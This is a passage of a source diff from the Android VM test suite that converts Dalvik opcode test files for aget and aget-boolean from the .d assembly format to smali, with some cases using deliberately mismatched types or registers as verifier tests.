--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_6.java
-.class public dot.junit.opcodes.aget.d.T_aget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali
new file mode 100644
index 0000000..80b26fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_6.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d
deleted file mode 100644
index 8b2c021..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_7.java
-.class public dot.junit.opcodes.aget.d.T_aget_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali
new file mode 100644
index 0000000..436234b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_7.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d
deleted file mode 100644
index e91d276..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_8.java
-.class public dot.junit.opcodes.aget.d.T_aget_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IF)I
-.limit regs 9
-
-       aget v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali
new file mode 100644
index 0000000..23caac9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_8.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IF)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d
deleted file mode 100644
index 51fe7a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_9.java
-.class public dot.junit.opcodes.aget.d.T_aget_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)I
-.limit regs 9
-
-       aget v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali
new file mode 100644
index 0000000..4a04005
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_9.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d
deleted file mode 100644
index 6fbf9bc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_1.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali
new file mode 100644
index 0000000..a7b7ea9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_1.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d
deleted file mode 100644
index e858a8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_2.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZD)Z
-.limit regs 9
-
-       aget-boolean v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali
new file mode 100644
index 0000000..b6360e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_2.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZD)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d
deleted file mode 100644
index 07133df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_3.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZJ)Z
-.limit regs 9
-
-       aget-boolean v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali
new file mode 100644
index 0000000..2c9357e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_3.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZJ)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d
deleted file mode 100644
index 28f6cb1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_4.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali
new file mode 100644
index 0000000..a25a500
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_4.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d
deleted file mode 100644
index e1c1ffe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_5.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali
new file mode 100644
index 0000000..e179797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_5.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d
deleted file mode 100644
index ef79c81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_6.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali
new file mode 100644
index 0000000..16857bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_6.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d
deleted file mode 100644
index da3663c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_7.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali
new file mode 100644
index 0000000..1d5b498
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_7.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d
deleted file mode 100644
index 5c36f5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_8.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZF)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali
new file mode 100644
index 0000000..3752ec0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_8.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZF)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d
deleted file mode 100644
index cbd51e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_9.java
